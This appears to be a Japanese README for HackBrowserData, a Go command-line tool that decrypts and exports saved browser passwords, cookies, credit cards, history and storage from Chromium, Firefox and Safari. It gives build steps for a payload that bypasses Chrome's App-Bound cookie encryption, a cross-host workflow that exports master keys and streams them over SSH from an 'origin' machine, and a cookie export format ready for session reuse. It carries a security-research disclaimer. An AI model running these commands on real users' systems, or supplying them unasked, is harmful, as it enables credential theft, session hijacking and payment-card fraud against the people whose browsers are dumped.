
ブラウザデータを抽出および復号化し、複数のデータタイプをサポートし、様々なオペレーティングシステム(macOS、Windows、Linux)で実行可能。
HackBrowserData は、ブラウザのデータ(パスワード、履歴、クッキー、ブックマーク、クレジットカード、ダウンロード履歴、localStorage、sessionStorage、拡張機能)を復号化・エクスポートするためのコマンドラインツールです。Windows・macOS・Linux 上の最も人気のある Chromium ベースのブラウザと Firefox、および macOS 上の Safari をサポートしています。
また、マシンや OS を越えたデータ復号化も可能です。元のホストでマスターキーをエクスポートし、そのコピーを別の任意のホストでオフライン復号化できます。分析ホストの OS では実行できないブラウザデータにも対応しています(クロスホスト復号化 を参照)。
免責事項:このツールはセキュリティ研究のみを目的としています。利用者は、本ツールの使用に起因するすべての法的責任および関連する責任を負うものとします。原著者は一切の法的責任を負いません。
macOS 上では、一部の Chromium ベースブラウザは復号化に現在のユーザパスワードが必要です。
macOS 26.4 以降ではパスワードの復号化に失敗する可能性があります。
¹ Safari はフルディスクアクセスが必要です。抽出結果が空の場合は、システム設定 → プライバシーとセキュリティ → フルディスクアクセスで有効にしてください。
² Windows で Chromium 127+ のクッキー(Chrome / Chrome Beta / Edge / Brave / CocCoc)を復号化するには、
make build-windowsでビルドした App-Bound Encryption ペイロードが必要です。詳細は下記の ソースからのビルド を参照してください。³ これらのブラウザは Windows でのみ提供されていますが、データは任意の OS で復号化可能です。
archiveでファイルを取得し、dumpkeysでキーをエクスポートした後、macOS または Linux 上でrestoreを使って復号化してください(クロスホスト復号化 を参照)。
HackBrowserData のインストールは非常に簡単です。お使いのシステム向けの リリース をダウンロードしてバイナリを実行するだけです。
状況によっては、このセキュリティツールが Windows Defender や他のアンチウイルスソフトにウイルスとみなされ、実行できない場合があります。コードはすべてオープンソースなので、自分で修正してコンパイルすることができます。
Go 1.20+ が必要です。```bash
git clone https://github.com/moonD4rk/HackBrowserData
cd HackBrowserData
go build ./cmd/hack-browser-data/
#### クロスプラットフォームビルド```bash
# For Windows (standard build, no Chromium 127+ ABE cookie support)
GOOS=windows GOARCH=amd64 go build ./cmd/hack-browser-data/
# For Linux
GOOS=linux GOARCH=amd64 go build ./cmd/hack-browser-data/
Chrome / Chrome Beta / Edge / Brave / CocCoc 127+ は、App-Bound Encryptionを使用してCookieを保護します。これらのCookieを復号するには、小さなCペイロードが必要です — Zig (0.13+) が推奨されるCツールチェーンです(Makefileはzig ccを呼び出します)。MinGW-w64のgccも、make payloadをバイパスすれば手動でソースをビルドできます。```bash
brew install zig # macOS scoop install zig # Windows (scoop)
make payload
make build-windows
結果として得られる `hack-browser-data.exe` には、Chromium 127+ 上での完全なABE Cookie復号化が含まれています。
## 使い方```
$ hack-browser-data -h
hack-browser-data decrypts and exports browser data from Chromium-based
browsers and Firefox on Windows, macOS, and Linux.
GitHub: https://github.com/moonD4rk/HackBrowserData
Usage:
hack-browser-data [flags]
hack-browser-data [command]
Available Commands:
archive Pack decryption-relevant profile files into a zip for cross-host restore
dump Extract and decrypt browser data (default command)
dumpkeys Export Chromium master keys as JSON for cross-host decryption
help Help about any command
list List detected browsers and profiles
restore Decrypt copied profile data using exported master keys
version Print version information
Flags:
-b, --browser string target browser: all|chrome|firefox|edge|... (default "all")
-c, --category string data categories (comma-separated): all|password,cookie,... (default "all")
-d, --dir string output directory (default "results")
-f, --format string output format: csv|json|cookie-editor (default "json")
-h, --help help for hack-browser-data
--keychain-pw string macOS keychain password
-p, --profile-path string custom profile dir path, get with chrome://version
-v, --verbose enable debug logging
--zip compress output to zip
Use "hack-browser-data [command] --help" for more information about a command.
dump - ブラウザデータを抽出して復号化する(デフォルト)サブコマンドなしで hack-browser-data を実行すると、デフォルトで dump になります。
--format cookie-editorは クッキーのみ を、Cookie-Editor ブラウザ拡張機能のインポート形式に一致するJSON配列として書き込みます。クッキー以外のカテゴリはスキップされます。
アナリストホストで、別のオリジンホストで収集されたブラウザデータを復号化します。これには、アナリストのOSがそのエンジンをインストールできないブラウザ(例:macOSでSogouやQQ Browserのデータを復号化する)も含まれます。プラットフォームに依存するもの(DPAPI、macOSキーチェーン、Chrome App-Bound Encryption)はオリジンから持ち出す必要はありません。マスターキーを一度エクスポートすれば、その後はデータのコピーから完全にオフラインで復号化を実行できます。
ワークフローでは、3つのコマンドと2つの持ち運び可能なアーティファクトを使用します。
hack-browser-data dumpkeys -o keys.json hack-browser-data archive -o browser-data.zip
hack-browser-data restore --keys keys.json --data-zip browser-data.zip
> `keys.json` には平文のマスターキーが含まれています — 機密として扱ってください。`dumpkeys -o` は `0600` パーミッションで書き込みます; ディスクに残す代わりに安全なチャネルでストリーミングすることを推奨します。
#### `dumpkeys` - クロスホスト復号のためのマスターキーをエクスポート
元のホスト上の各Chromiumインストールのマスターキーを導出し、JSONとして書き出します(Firefox / Safariにはポータブルキーがないためスキップされます)。デフォルトはstdoutで、SSH経由でパイプできます。
| フラグ | 短縮 | デフォルト | 説明 |
|-----------------|-------|----------|---------------------------------------------|
| `--browser` | `-b` | `all` | 対象ブラウザ (all\|chrome\|edge\|...) |
| `--output` | `-o` | *stdout* | 出力ファイル(`0600` で書き込み); 省略時はstdout |
| `--keychain-pw` | | | macOSキーチェーンパスワード |
#### `archive` - 復号関連ファイルを転送用にパック
復元に実際に必要なファイル(クッキー、ログインデータ、履歴、…)のみを、抽出時に使用するのと同じロックファイルバイパスを使用して収集するため、Windows上でライブのSQLiteファイルを安全に読み取れます。zipは `<browser-key>/<User Data layout>` としてレイアウトされるため、1つのアーカイブで複数のブラウザを運び、復元が曖昧になりません。エントリ名は常にフォワードスラッシュであるため、Windowsで生成されたアーカイブはmacOS / Linuxでも復元できます。
| フラグ | 短縮 | デフォルト | 説明 |
|--------------|-------|--------------------|-------------------------------------|
| `--browser` | `-b` | `all` | 対象ブラウザ (all\|chrome\|edge\|...) |
| `--category` | `-c` | `all` | データカテゴリ(カンマ区切り) |
| `--output` | `-o` | `browser-data.zip` | 出力アーカイブパス |
#### `restore` - エクスポートしたキーでコピーデータを復号
各Chromiumエンジンを `keys.json` から直接再構築し、提供されたデータを復号します — アナリストのローカルブラウザテーブルは参照しないため、**復元できるブラウザは `keys.json` 内のヴォールトとまったく同じです**。データの指定方法は次の2つ(どちらか一方のみ必須)です:
- `--data-zip` — `archive` によって生成されたzip; 一時ディレクトリに展開され、その後削除されます。
- `--data-dir` — ディレクトリ。`archive` レイアウト(`<browser-key>/...`、複数のブラウザを一度に)または、1つのブラウザの手動コピーされた `User Data` ルート。後者は単一ブラウザでのみ曖昧さがないため、`-b` と組み合わせてください。
`-b` はダンプのヴォールトに対する**オプションのフィルター**であり、必須のセレクターではありません。
| フラグ | 短縮 | デフォルト | 説明 |
|--------------|-------|------------|------------------------------------------------------------|
| `--keys` | | *required* | `dumpkeys` からのキーファイル(stdinには `-` を使用) |
| `--data-zip` | | | `archive` からのzip(`--data-dir` とは排他的) |
| `--data-dir` | | | コピーされたデータディレクトリ(`--data-zip` とは排他的) |
| `--browser` | `-b` | | このブラウザのみ復元; `--keys` 内のヴォールトと一致する必要があります |
| `--category` | `-c` | `all` | データカテゴリ(カンマ区切り) |
| `--format` | `-f` | `json` | 出力形式(csv\|json\|cookie-editor) |
| `--dir` | `-d` | `results` | 出力ディレクトリ |
| `--zip` | | `false` | 出力をzipに圧縮 |
#### クロスホストの例```bash
# Stream keys over SSH (no keys.json on disk), data copied separately
ssh origin "hack-browser-data dumpkeys" | \
hack-browser-data restore --keys - --data-zip browser-data.zip
# Restore one browser from a hand-copied User Data folder (no archive)
hack-browser-data restore --keys keys.json --data-dir ./chrome-userdata -b chrome
list - 検出されたブラウザとプロファイルを一覧表示| フラグ | デフォルト | 説明 |
|---|---|---|
--detail | false | カテゴリごとのエントリ数を表示 |
version - バージョン情報を表示```bashhack-browser-data version
### グローバルフラグ
| フラグ | 短縮 | 説明 |
|-------------|-------|----------------------|
| `--verbose` | `-v` | デバッグログを有効にする |
### 使用例```bash
# Extract all data from all browsers (default)
hack-browser-data
# Extract specific browser and categories
hack-browser-data dump -b chrome -c password,cookie
# Export in CSV format to a custom directory (JSON is the default)
hack-browser-data dump -b chrome -f csv -d output
# Export cookies in CookieEditor format
hack-browser-data dump -f cookie-editor
# Compress output to zip
hack-browser-data dump --zip
# List detected browsers and profiles
hack-browser-data list
# List with per-category entry counts
hack-browser-data list --detail
# Use custom profile path
hack-browser-data dump -b chrome -p "/path/to/User Data/Default"
コミュニティからのコントリビューション(GitHub issues/プルリクエスト、メールでのフィードバックなど)を歓迎し、感謝しています。
コントリビューションを行う前にコントリビューションガイドをご確認ください。
HackBrowserDataは404TeamのStarLink-Galaxyの一部です。HackBrowserDataに関する質問や、コミュニケーションのパートナーを探したい場合は、Starlinkグループを参照してください。

HackBrowserDataは、JetBrains s.r.o.から提供された無料のJetBrainsオープンソースライセンスのもとでGoLand IDEを使用して開発されてきました。ここに感謝の意を表します。
| カテゴリ | Chromium ベース | Firefox | Safari |
|---|
| パスワード | ✅ | ✅ | ✅ |
| クッキー | ✅ | ✅ | ✅ |
| ブックマーク | ✅ | ✅ | ✅ |
| 履歴 | ✅ | ✅ | ✅ |
| ダウンロード | ✅ | ✅ | ✅ |
| クレジットカード | ✅ | - | - |
| 拡張機能 | ✅ | ✅ | ✅ |
| LocalStorage | ✅ | ✅ | ✅ |
| SessionStorage | ✅ | - | - |
| ブラウザ | Windows | macOS | Linux |
|---|
| Chrome | ✅² | ✅ | ✅ |
| Chrome Beta | ✅² | ✅ | ✅ |
| Chromium | ✅ | ✅ | ✅ |
| Edge | ✅² | ✅ | ✅ |
| Brave | ✅² | ✅ | ✅ |
| Opera | ✅ | ✅ | ✅ |
| OperaGX | ✅ | ✅ | - |
| Vivaldi | ✅ | ✅ | ✅ |
| Yandex | ✅ | ✅ | - |
| CocCoc | ✅² | ✅ | - |
| Arc | ✅ | ✅ | - |
| DuckDuckGo³ | ✅ | - | - |
| QQ³ | ✅ | - | - |
| 360 ChromeX³ | ✅ | - | - |
| 360 Chrome³ | ✅ | - | - |
| DC Browser³ | ✅ | - | - |
| Sogou Explorer³ | ✅ | - | - |
| Firefox | ✅ | ✅ | ✅ |
| Safari¹ | - | ✅ | - |
| Flag | Short | Default | 説明 |
|---|
--browser | -b | all | 対象ブラウザ (all|chrome|firefox|edge|...) |
--category | -c | all | データカテゴリ、カンマ区切り (all|password|cookie|bookmark|history|download|creditcard|extension|localstorage|sessionstorage) |
--format | -f | json | 出力形式 (csv|json|cookie-editor) |
--dir | -d | results | 出力ディレクトリ |
--profile-path | -p | カスタムプロファイルディレクトリパス、chrome://version で取得 | |
--keychain-pw | macOS キーチェーンパスワード | ||
--zip | false | 出力をzipに圧縮 |
| Step | Host | Command | 生成物 |
|---|
| 1 | origin | dumpkeys | keys.json — 持ち運び可能なマスターキー |
| 2 | origin | archive | browser-data.zip — 復号化に必要なファイルのみ |
| 3 | analyst | restore | 復号化された出力 (csv / json / cookie-editor) |
Roger |
Aquilao Official |
uinfziuna8n |
Cyrus |
stevenlele |
Carlo Mandelli |
slimwang |
zznQ |
YuXJ |
mirefly |
LC |
zhe6652 |
guoguangwu |
beichen |
Santiago Ramirez |
Ciprian Conache |
a-urth |
Amir. |